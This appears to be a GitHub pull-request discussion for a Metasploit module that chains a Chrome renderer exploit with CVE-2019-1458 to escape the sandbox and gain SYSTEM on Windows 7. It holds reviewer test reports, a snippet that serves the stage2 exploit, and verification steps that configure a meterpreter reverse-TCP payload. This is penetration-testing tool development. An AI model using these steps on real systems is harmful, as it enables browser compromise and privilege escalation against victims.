CVE-2019-1458 chrome sandbox escape #13817
Conversation
|
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
timwr
force-pushed
the
chrome_object_create_sandbox_escape
branch
from
ed4fd06
to
de56fca
Compare
|
This is ready now, apologies for the delay |
|
This did not work for me on Windows 7 SP1 (x64). However, when I downgraded Chrome to version 69 on my test host, it looks like this, which probably doesn't bode well for any of my tests.
I downloaded old versions from here: The installers appear to be signed by Google. |
|
I was still able to get a session using the |
|
Another test with Using |
|
Also loader_data = loader_data + "\0" * (0x20000 - loader_data.length)
send_response(cli, loader_data, {'Content-Type' => 'application/octet-stream', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
print_good("Sent stage2 exploit (#{loader_data.length.to_s(16)} bytes)")ie: print_good("Sent stage2 exploit (#{loader_data.length} bytes)") |
|
If at first you don't succeed, retry until you blue screen.
|
|
I pasted the wrong log in the first comment. I realized the first test was on x86 and changed over to x64. Everything above was performed on x64. |
I tried a few times, rebooting between each attempt, with no luck on Windows 7 SP1. But given that my Chrome looks like it is screaming in pain before exploitation, that doesn't mean much. The ntusermessagecall module works well. FWIW; I was able to exploit with it even after a failed exploitation attempt via Chrome, indicating that Chrome is not attempting exploitation, given that it's exploitable only once. |
|
Was able to confirm the latest pull request on Win7x64 with Chrome 69.0.3497.100 (64bit) and PrivEsc works fine. Furthermore tried it on Win8.1 x64 but didn't succeed. |
|
@xaitax / anyone: I don't suppose you can run https://github.com/unamer/CVE-2019-1458/tree/master/x64/Release <-- this exe on your Windows 8.1 box and post the output? I suspect it just needs offsets but I don't have a VM to test on at the moment. |
|
@timwr Not sure this is working at the moment, tried this two times with the sandbox enabled and this is basically what I got: Then the Chrome tab crashed on the other side. Using https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.92-20074/download/ as the download source and running it on a Windows 7 x64 SP1 machine with no updates. Here is the result if I try it with no sandbox: |
Taking a look at this now, will let you know what the results are. |
gwillcox-r7
dismissed
smcintyre-r7’s stale review
Dismissing review as we were unable to reproduce the exploit, and this leads to the misleading conclusion that this code is ready to land.
Results: This shows that this succeeds in adding the |
|
Apologies but I implemented this change: e9ef1bb without updating the instructions. |
|
@timwr I think I probably tried the default options. I used the testing instructions so most likely I didn't use the |
documentation/modules/exploit/windows/local/ntusermessagecall.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/windows/local/ntusermessagecall.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/windows/local/ntusermessagecall.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/windows/local/ntusermessagecall.md
Outdated
Show resolved
Hide resolved
|
@timwr Going to work on making the changes necessary to fix up the rest of these issues today, so if you see any commits to your branch this is what they are related to. |
|
@timwr Just realized after all of this that the documentation for |
|
The changes you made look great! I re-tested it again with target 1 and it works. I will update the documentation with the results. Thanks @gwillcox-r7 ! |
timwr
force-pushed
the
chrome_object_create_sandbox_escape
branch
from
6cc2186
to
de9dccb
Compare
| @@ -18,6 +21,7 @@ You may also need to disable Windows Defender. | |||
| ## Verification Steps | |||
|
|
|||
| 1. Do: ```use exploit/multi/browser/chrome_object_create``` | |||
| 1. Do: ```set target 0``` | |||
There was a problem hiding this comment.
Eh technically speaking this implies that this value will always be 0. Minor complaint though. Main thing I am noticing when looking at this documentation is that we don't have an Options section. So I was a little confused at first why we didn't list the various options for target and explain what they did. Might be an idea to add that in to this documentation file to bring it up to date.
Otherwise changes on this look good, thanks for doing this!
| This module can target the renderer process (target 0), but Google Chrome must be launched with the --no-sandbox flag for the payload to execute successfully. | ||
|
|
||
| Alternatively, this module can use CVE-2019-1458 to escape the renderer sandbox (target 1). This will only work on vulnerable versions of Windows (e.g Windows 7) and the exploit can only be triggered once. | ||
| Additionally the exploit can cause the target machine to restart when the session is terminated. A BSOD is also likely to occur when the system is shut down or rebooted. |
There was a problem hiding this comment.
These lines look great but my concern is that you have individual lines that are way too long, when they should be broken up into multiple lines (even if they are within the same sentence). Can you run tools/dev/msftidy_docs.rb on this file and try address some of the concerns it raises? It should note a few things such as long lines like these that can be tidied up to help make the documentation easier to read.
|
@gwillcox-r7 I've addressed most of the msftidy_docs issues, but I still get the following: I'm not sure about the remaining ones:
|
|
@timwr The template is a bit old and may not have been updated. I think we now just generally place that description section under Edit: Wow I completely overlooked the fact that we already documented the |
|
@timwr With last updates this should be ready to land, so going to just go ahead and do some rebasing to clear up the commit history and then land this in. Thanks for your patience on this! |
…describe what the cause of the LPE bug for CVE-2019-1458 is. also apply RuboCop edits.
…ons of Windows and provide full coverage for CVE-2019-1458
…e future bugs in NtUserMessageCall and also update the description info a bit more
gwillcox-r7
force-pushed
the
chrome_object_create_sandbox_escape
branch
from
7cf875e
to
87104a7
Compare
|
Original Release Notes This PR adds support for exploiting CVE-2019-1458, aka WizardOpium, as both a standalone LPE module, and as a sandbox escape option for the |
Release NotesNew module |
This pull request demonstrates how #13221 (aka WizardOpium?)
can be combined with any chrome exploit (in this case https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/browser/chrome_object_create.rb) in order to escape the sandbox.
Verification
Install Google Chrome 69.0.3497.92 on Windows 7 SP1
msfconsoleuse exploit/multi/browser/chrome_object_createset target 1set URIPATH /set payload windows/x64/meterpreter/reverse_tcpset LHOST 192.168.56.1set SRVHOST 192.168.56.1set DEBUG_EXPLOIT truerunSYSTEMe.g: